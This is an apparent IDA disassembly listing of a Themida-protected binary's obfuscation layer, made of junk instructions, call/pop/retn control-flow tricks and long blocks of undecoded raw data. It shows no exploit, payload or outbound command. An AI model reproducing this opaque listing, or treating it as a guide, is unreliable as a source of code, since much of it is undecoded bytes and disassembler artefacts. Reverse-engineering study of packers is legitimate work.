		db 4Bh,	0A0h, 0A5h
		dd 0EE422F62h, 1171DC20h, 8C641CF7h
		db 0F4h
; ---------------------------------------------------------------------------


loc_58C0E5:				; CODE XREF: sub_58C0CF+1j
		mov	bh, 92h
		popa
		pop	ecx
		jmp	loc_58C0F5
; ---------------------------------------------------------------------------
		cwde
		and	[esi+38h], edx
		fild	word ptr [edx+edi*4]


loc_58C0F5:				; CODE XREF: sub_58C0CF+1Aj
		add	ecx, 716Dh
		push	ecx
		jle	loc_58C108
		xor	edx, 0FC1494Fh


loc_58C108:				; CODE XREF: sub_58C0CF+2Dj
		pop	edi
		xor	eax, eax
		movsx	edi, si


loc_58C10E:				; CODE XREF: sub_58C0CF+89j
		push	dword ptr [eax+ecx]
		movzx	ebx, bx
		pop	esi
		jmp	loc_58C11F
; ---------------------------------------------------------------------------
		dw 6634h
		db 8Fh,	63h, 8Dh
; ---------------------------------------------------------------------------


loc_58C11F:				; CODE XREF: sub_58C0CF+46j
		xor	esi, 7BD6C6ABh
		cld
		add	esi, 67D91E44h
		push	ecx
		mov	bl, 28h
		pop	edx
		xor	esi, 7CC79C19h
		movzx	ebx, bx
		mov	[ecx+eax], esi
		xor	ebx, 2D0ACA9Bh
		pusha
		mov	dh, ah
		popa
		sub	eax, 1
		mov	edx, 7C1CC38h
		dec	eax
		dec	eax
		dec	eax
		stc
		cmp	eax, 0FFFF8F40h
		jnz	loc_58C10E
		jb	loc_58C16E
		jb	loc_58C16E
		mov	bx, 0B21Ch


loc_58C16E:				; CODE XREF: sub_58C0CF+8Fj
					; sub_58C0CF+95j
		pusha
		mov	[ebp+6A806A1h],	ebx
		jmp	loc_58C18A
; ---------------------------------------------------------------------------
		dw 4925h
		dd 21397359h, 6A9529A5h, 0AD29B4Ch
		db 58h,	0EEh
; ---------------------------------------------------------------------------


loc_58C18A:				; CODE XREF: sub_58C0CF+A6j
		mov	eax, eax
		mov	ecx, [ebp+6A83479h]
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_58C1A4
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_58C1BD


loc_58C1A4:				; CODE XREF: sub_58C0CF+CAj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AAA1ACh]
		call	ebx
		pop	ebx
		pop	eax


loc_58C1BD:				; CODE XREF: sub_58C0CF+D3j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_58C1DD
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AA9E9Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_58C1DD:				; CODE XREF: sub_58C0CF+F5j
		pusha
		xor	edi, [ebp+6A81B75h]
		sbb	dh, 8Fh
		popa
		mov	eax, eax
		push	0
		push	ebp
		call	sub_58C1F5
		and	[ebp-3Dh], bl
sub_58C0CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58C1F5	proc near		; CODE XREF: sub_58C0CF+11Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_58C1F5	endp

; ---------------------------------------------------------------------------
		sbb	ebx, esi
		dec	edi
		jno	short loc_58C26C
		call	sub_58CA50
		mov	[ebp+6A82A8Dh],	eax
		and	esi, [ebp+6A82CD5h]
		call	sub_58CA50
		push	0
		push	ebp
		call	sub_58C22B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C22B	proc near		; CODE XREF: Themida_:0058C223p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_58C22B	endp

; ---------------------------------------------------------------------------
		cwde
		pusha
		inc	ecx
		add	edi, [edx+627AB98Bh]
		db	3Eh
		or	si, 3ADBh
		add	[ebp+6A81E05h],	esi
		mov	esi, [ebp+6A834C5h]
		mov	[ebp+6A81DA9h],	eax
		push	0
		push	edx
		call	sub_58C267
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C267	proc near		; CODE XREF: Themida_:0058C25Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx


loc_58C26C:				; CODE XREF: Themida_:0058C208j
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58C267	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4Ah
		dd 0E83DF5E7h, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0B9C35242h, 0DE2AB413h, 14E9B696h, 0B5000000h
		dd 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h, 8935C8B4h
		dd 0A8156185h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8B661041h, 76AE8F9h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 27EAA9C3h, 0FEFA049Fh, 0E9E3AFD2h, 14h, 92D86E1h, 47CAA5F8h
		dd 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 0E018589h, 6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D73A3DC3h, 237C170Bh, 6840F93h, 9000000h, 0A830259Dh
		dd 6F2E806h, 0BE80000h,	97000000h, 0DAC40C1Eh, 8F5453AAh
		dd 8166D6E1h, 5F3CADDEh, 14A18589h, 6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0E5B96CC3h
		dd 3B2F11D9h, 6AFE8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0F28B66E7h, 15358589h
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B58B9EC3h, 6A80165h, 663E8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 4DED302Fh, 6606F7ABh, 8589FA8Bh, 6A805FDh, 0E85EF857h
		dd 630h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	8C35646h, 0CEEB4732h, 12E9DCh, 0FE550000h, 0B41A749Bh
		dd 6C5C5793h, 37FF4D79h, 0FE1A8674h, 0D418589h,	6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B58BD1C3h, 6A8168Dh, 5CBE8h, 8D858900h, 6A06A829h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0C077C352h, 5A2E84Dh, 85890000h, 6A82071h
		dd 9FBBF5BFh, 0F1816679h, 8DE8B726h, 6A000005h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 86ABC351h, 2041FF47h, 0B1858969h, 6A06A801h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 759AC352h, 0EFE31BA1h, 0E8274AA3h, 53Ch, 16FD8589h
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0EA12E9C3h, 0A143AFB2h, 0B5891B59h, 6A817CDh
		dd 507E8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0BF8E2309h, 33474DADh, 21118589h
		dd 0BD8906A8h, 6A8093Dh, 4D3E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0EDB529ADh
		dd 5106A833h, 6820Fh, 85890000h, 6A81DA1h, 818D8B59h, 8906A81Eh
		dd 0A82A1185h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 31A5B0F5h, 0A82CE185h
		dd 46EE806h, 85890000h,	6A80915h, 681B966h, 5DE8F88Bh
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 22C3C357h, 8C800146h, 19FBCED0h
		dd 89C88B66h, 0A8350985h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 686EB86Dh
		dd 9DBD0358h, 0B006A826h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0D00504C0h
		dd 0D398761h, 0F0BF6626h, 68D0F6Ch, 89000000h, 0A81FE99Dh
		dd 0D8B60F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	56C35343h, 0D66171CCh, 66C13A4Fh, 89D6C781h, 6BAh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 892BB765h, 0A80B55B5h, 0E8C38B06h, 14h
		dd 6AF5828Fh, 0AC61272Ch, 0FE4AE8B7h, 0AFA342A2h, 6296A28Ah
		dd 68E0Fh, 8D8B0000h, 6A82A81h,	6D9D295Eh, 0C106A81Bh
		dd 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6010F8C3h, 1FD2CE49h, 7EDE8166h, 0F766F921h
		dd 2DB58BE2h, 2B06A82Eh, 68B0FD8h, 0F000000h, 88h, 14E95000h
		dd 4B000000h, 0C61C3944h, 732E6D9Ah, 0BA590E04h, 251AE799h
		dd 890AFEE2h, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 4BC4ABC3h, 95D2DC6Bh, 34498D8Bh
		dd 95FF06A8h, 6A8068Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 56C35343h, 895BC97Fh,	0A82BADBDh, 0F1958D06h
		dd 6A06A80Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 8D74C357h, 3D5389E4h, 6005031Ah
		dd 18C0Fh, 89F50000h, 0A8153D95h, 1A896106h, 2601B58Bh
		dd 428906A8h, 12E804h, 82DD0000h, 0EC430C2Bh, 0B66B9560h
		dd 0B9727575h, 0C4FDA033h, 1EA58D03h, 8D5906A8h, 0A826C595h
		dd 0CFC98106h, 8B110316h, 0A806998Dh, 6A1A8906h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0C073C350h, 0EE969h,	7F4D0000h, 9CE95066h, 357670C1h
		dd 10699ECCh, 6320CF81h, 42895FB4h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 880FFD81h
		dd 6, 2521B529h, 816606A8h, 8D88F3C6h, 0A8315995h, 0E98D8906h
		dd 8906A81Ah, 0F4E6811Ah, 8929D55Dh, 0BF0F0442h, 35BD8BF0h
		dd 8D06A809h, 0A8014995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0A7904CB9h
		dd 0E5FBAAB2h, 8419501h, 1A8906A8h, 174D8D01h, 428906A8h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 5C87CEE4h, 21958D7Ch, 6A06A800h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 60E8C356h, 0A56E9FF1h, 42891A89h, 51006A04h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 75C11BCFh
		dd 2F45958Dh, 89FC06A8h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 881F927Fh, 6A31BF9Fh
		dd 0B5899F80h, 6A81FD1h, 44289F5h, 0EAD8D03h, 958D06A8h
		dd 6A83005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	84C35242h, 9DBFAA9Bh, 8B4C6793h, 0A8061D8Dh, 521A8906h
		dd 0B58B5FF9h, 6A83321h, 6A044289h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CFA5C351h
		dd 0B8AFA1C1h, 0AB9958Dh, 6A06A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 278D89C3h, 3DF6B966h
		dd 6A1A89h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 1A1A5AC3h, 442895Ah, 8F5B503h, 8B6606A8h
		dd 0F3E9FEh, 0B5890000h, 6A83375h

; =============== S U B	R O U T	I N E =======================================



sub_58CA50	proc near		; CODE XREF: Themida_:0058C20Ap
					; Themida_:0058C21Bp
		push	0
		or	[ebp+6A817E9h],	eax
		push	0
		push	0
		push	esi
		call	sub_58CA65
		and	[esi-3Dh], bl
sub_58CA50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58CA65	proc near		; CODE XREF: sub_58CA50+Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_58CA65	endp

; ---------------------------------------------------------------------------
		sub	eax, 2A806F81h
		xchg	eax, edx
		fmul	qword ptr [ebx+43h]
		and	ecx, [ebp+6A81B49h]
		sub	[ebp+6A829C9h],	edi
		push	0
		push	0
		push	edx
		call	sub_58CA97
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CA97	proc near		; CODE XREF: Themida_:0058CA8Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58CA97	endp

; ---------------------------------------------------------------------------
		db 98h
		dd 58EE4AF8h, 63A239D2h, 0A9B58BB6h, 6A06A825h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 84E23BFFh, 858E5A49h, 12E802B3h, 0D1000000h,	0FEDFD28Eh
		dd 100B82FDh, 72FFA27Dh, 2CC5DECBh, 0DE95FC8h, 50000000h
		dd 6C70374Bh, 0CBDAC72Dh, 38333106h, 3019BD01h,	95FF06A8h
		dd 6A80281h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	19C35040h, 7358529h, 9C306A8h, 0A82F9595h, 6AC58A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 12BFC353h, 66D81A10h, 8BC458BFh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 20FB675h, 0D83A94A7h, 1711B589h, 0BD8306A8h,	6A81ED9h
		dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 438B8h
		dd 0D5858900h, 8D06A80Fh, 0AAA2139Dh, 5BD3FF06h, 0E9BD8358h
		dd 6A82Dh, 53501774h, 438B8h, 0D5858900h, 8D06A80Fh, 0AA9EB49Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 5795BE8Ch, 58E0Fh, 95BF0000h, 5F4C5883h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A4C35242h
		dd 95319026h, 1391B382h, 0CDBD892Ch, 8B06A80Fh,	85858DC0h
		dd 6A06A833h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0EB0BC357h, 50FB8B66h,	4891CB3h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0CDBA35ACh, 0D4B823F3h, 2A98589h, 6A06A8h
		dd 30499531h, 6A06A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4CC35343h, 0B9D2D8D5h, 0BF66AD53h, 0BD892B79h
		dd 6A82F31h, 345A858Dh,	6A06ACh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0C0837DC3h, 9D8B5705h
		dd 6A83129h, 0BE8505Fh,	6C000000h, 857680CBh, 9D4C14EBh
		dd 11E838B2h, 5A000000h, 52E613C3h, 5F9074F9h, 2D2635Eh
		dd 3253080Ch, 4895F5Bh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0F50F3F9Bh, 0FF3E57D5h
		dd 95891DFEh, 6A82089h,	8A0F006Ah, 6, 93DB589h,	0FB8B06A8h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0B92D76C3h, 56740744h, 870F7015h,	5, 7BCB8166h
		dd 4195FF0Fh, 6A06A825h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0CB0DC350h,	520F86A3h
		dd 0E3B66028h, 8E9h, 7FF55900h,	3220E41Eh, 5F52612Fh, 8C7F8D8Dh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FA851C3h, 8Dh, 0E9D1FF00h, 7, 0AEBA7C40h
		dd 83997DF1h, 0A8339DBDh, 850F0106h, 67h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0FDC35545h, 0A735F3DFh
		dd 8B1D2181h, 999D29FBh, 6A06A82Bh, 15BD8B02h, 9006A800h
		dd 0E850D88Bh, 0Fh, 8F88AF31h, 755E19D5h, 1545DB8Dh, 0F3B962Dh
		dd 8Dh,	0F905F00h, 489h, 0A7BF6600h, 1D95FFD1h,	6606A81Eh
		dd 0E9F50DBFh, 0DAFh, 0E8h, 0ED815D00h,	6AC3464h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3C35242h, 5394F2Bh
		dd 2AD19589h, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0B3407FC3h, 0E96CB3EFh, 0Fh, 86BA24FAh
		dd 83258570h, 722F926Fh, 8DAB889Bh, 0AB7E2E85h,	0D3816606h
		dd 5090161Ah, 6B6F8BBBh, 8E0F9038h, 2, 0FF645B50h, 35h
		dd 7E900h, 31700000h, 17CD1675h, 4648BBBEh, 89641584h
		dd 25h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1A04h, 0C3514100h, 7F6E99D3h, 0BFCEC791h, 5FF83F39h
		dd 92D38166h, 0F185FFC3h, 6A06A833h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FB3FC352h
		dd 3652E578h, 0CA620EBFh, 4BDB8166h, 6AFF6A93h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0CB91C357h, 0A59EF037h, 11E9h, 0CA712700h, 0C772C3EBh
		dd 210AA99h, 89118BD2h,	0B5FFF8E6h, 6A82A8Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1CC35747h, 2408E7E7h
		dd 0C107C750h, 2A7D95FFh, 1DE906A8h, 0B0000001h, 8DBD8B00h
		dd 0F06A809h, 289h, 0E6D0B700h,	71E4FC70h, 0B6D9D8Bh, 613C06A8h
		dd 0FA830Fh, 8D890000h,	6A82CF9h, 0BAC8B60Fh, 6, 0CC98589h
		dd 0C18B06A8h, 0C799529h, 0C1F906A8h, 0BD8904E8h, 6A81C09h
		dd 3E2F766h, 0A81D499Dh, 41BD8B06h, 2B06A81Eh, 6D9D01C8h
		dd 8B06A809h, 0DAB70FD1h, 0E9h,	0F1858B00h, 6606A80Bh
		dd 0BD99CB81h, 254DBD09h, 0C08306A8h, 0D9BF0F07h, 5000C083h
		dd 0CBD8D29h, 0F5F06A8h, 0D03BD9B7h, 0B830Fh, 0B5290000h
		dd 6A831B9h, 7BE9h, 218D8B00h, 0F06A830h, 118Eh, 0E8F86000h
		dd 8, 0CAB5DA51h, 7E3D0FF7h, 0E1836158h, 55840F01h, 31000000h
		dd 0A81A4D85h, 21A58306h, 0FE06A830h, 13E9h, 0F076500h
		dd 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h,	306D8509h
		dd 958906A8h, 6A80BF1h,	14E9h, 8176B400h, 67EEF362h, 7663E2A8h
		dd 0B158E376h, 7877B49Eh, 458D29A1h, 0E906A806h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6ABBADDh]
		push	0
		push	edx
		call	sub_58D105
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D105	proc near		; CODE XREF: Themida_:0058D0FDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58D105	endp

; ---------------------------------------------------------------------------
		db 98h,	0ECh, 67h
; ---------------------------------------------------------------------------
		mov	bl, 28h
		sbb	al, 0A7h
		mov	bx, 7684h
		push	0
		push	0
		push	edx
		call	sub_58D12E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D12E	proc near		; CODE XREF: Themida_:0058D126p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58D12E	endp

; ---------------------------------------------------------------------------
		dw 0F51h
		dd 0E2C96D77h, 0FF147D7Ah, 0A81B3195h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 59D35ECFh, 0D8BF0F95h, 651B9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F9AD2C18h
		dd 1CEF6DDh, 0B70FBB78h, 0FCE183D9h, 68C5D7BFh,	0C7816622h
		dd 89FC8AF9h, 0A80D998Dh, 0B806h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 78A576C3h
		dd 473E6F9Fh, 0AE9h, 7CDFA000h,	7B0E762Bh, 2B1C55ABh, 51006AD2h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8BB7A4ACh, 0A81FED9Dh, 8E906h, 0BF210000h, 0A660983h
		dd 33AD5F94h, 3E8D1C2h,	4E983D0h, 9D8BF475h, 6A806D5h
		dd 89DF8B66h, 0A81E25B5h, 880D06h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B9631BC3h
		dd 94F7B62h, 8B10C54Ah,	0A827499Dh, 0B9958B06h,	6A06A805h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 9D0DC357h, 90BE6149h, 698D8B39h, 0BB06A814h
		dd 0CAA4F23h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 10E95818h, 7000000h,	5AC8A335h, 2600347h, 0FA95C02h
		dd 837321BFh, 0A80C91BDh, 840F0006h, 3Fh, 0B8D88B66h, 0
; ---------------------------------------------------------------------------
		adc	di, 0D84Bh
		lea	ecx, [ebp+6A84FAFh]
		push	0
		push	ecx
		call	sub_58D2EA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D2EA	proc near		; CODE XREF: Themida_:0058D2E2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58D2EA	endp

; ---------------------------------------------------------------------------
		dw 0A918h
		dd 0E79B5FF3h, 89C7FBBCh, 0A806E19Dh, 83E1FF06h, 0A80BBDBDh
		dd 840F0006h, 46Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 84C35040h, 7F99A25Fh,	0BBDBD83h, 0F0106A8h
		dd 45C84h, 83DA8B00h, 0A80BBDBDh, 860F0306h, 417h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 29C35141h, 0DDDFC758h
		dd 0E860744Ch, 0Fh, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh, 669450FBh
		dd 3869F381h, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 67C35545h, 880C8204h,	0E1807462h, 0F9BF0F04h
		dd 840FC90Ah, 136h, 858BDA8Bh, 6A80BE1h, 15B99D8Bh, 853306A8h
		dd 6A81D5Dh, 0D690F781h, 8B0F4561h, 6, 2F1DBD8Bh, 509006A8h
		dd 0E2B86052h, 8B49F267h, 310F61F8h, 310F5250h,	0CE8h
		dd 49183C00h, 1CAEBF96h, 67E2844Dh, 585A5FACh, 0F50585Ah
		dd 0C84h, 7E900h, 9A430000h, 4986C5B8h,	0C7819064h, 242F7133h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 8EDC67C3h, 6628BD37h, 0BD29FB3Bh,	6A820D9h
		dd 4E8h, 1F03FF00h, 50FB8B00h, 98CA7EBFh, 24448B52h, 60525004h
		dd 0BB666160h, 0F616072h, 0BB525031h, 2AEC2F37h, 585A310Fh
		dd 8B585Ah, 800Fh, 44890000h, 0FB8B0424h, 299D8B58h, 0FF06A831h
		dd 0A8074195h, 0DF816606h, 89604912h, 0A81F1995h, 8961F906h
		dd 0ABA22785h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0E7EC1869h, 14E9F8F7h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0B237C350h, 858B319Ah,	6ABA21Fh
		dd 2E459D33h, 0C706A8h,	18h, 7E8h, 63952800h, 34373F53h
		dd 69C7BF5Fh, 0B58B4751h, 6ABA223h, 10E9h, 74792500h, 5CD6C10h
		dd 0B35FDB0Fh, 0ECBB9ADCh, 7D858B98h, 8B06A82Bh, 6A0689D8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9A50C352h, 0E1858BF8h, 0E906A80Bh, 13h, 350E6854h
		dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 896E1634h, 0A80A95B5h
		dd 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0EAC35747h, 0B6AFBF1Dh,	0E9F73941h, 11h, 9B350F7Fh
		dd 0B004CD05h, 60EA781Ah, 0B975A2E3h, 0C38166BCh, 0B79610C1h
		dd 8B665073h, 6A96D8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B58981C3h, 6A8163Dh, 0A21FB5FFh
		dd 0BB6606ABh, 9D8B6965h, 6A827B5h, 74A92A68h, 800F6035h
		dd 12h,	0CE8h, 0EFBBBB00h, 0F0F7C5CBh, 0B4255CDEh, 5AB55954h
		dd 24348161h, 356BAAD5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E1C35242h, 1EE205EEh, 0E8AA5091h, 10h
		dd 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h,	8D5FF88Ah
		dd 0ABA22785h, 1DBD3106h, 9006A815h, 6E8h, 3AB21700h, 60D092D6h
		dd 0DE8h, 0B5C15B00h, 5BEF0B0Fh, 819EF48Eh, 605E49FAh
		dd 505F6161h, 0DE9h, 0C8302400h, 0E699DB41h, 3FFAA7C8h
		dd 6A903294h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0EE6FC352h, 0ADA3482Bh, 95FFFB8Bh
		dd 6A80741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0C3C35141h, 61C2F452h, 342DBD09h, 85C706A8h, 6A80BBDh
		dd 3, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 19h
		dd 0FBC35040h, 0B3802EE8h, 82CBFAFh, 9D0909CBh,	6A82D0Dh
		dd 0A227BD83h, 0F0006ABh, 3284h, 0F88B6600h, 1E9BD8Bh
		dd 3FE906A8h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 942EC350h, 9B50993h
		dd 5006A81Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 64E492C3h, 0BD2938D4h, 6A8009Dh
		dd 0BBDBD83h, 0F0306A8h, 3FA85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 81C77A8Ch
		dd 5354F1DFh, 19D2967h,	8906A803h, 0A813ED95h, 27BD8306h
		dd 6ABA2h, 3BD840Fh, 0F7800000h, 27B5FFBFh, 6A06ABA2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 5115C352h, 4982DBF4h, 4273CC18h, 0E39B509h
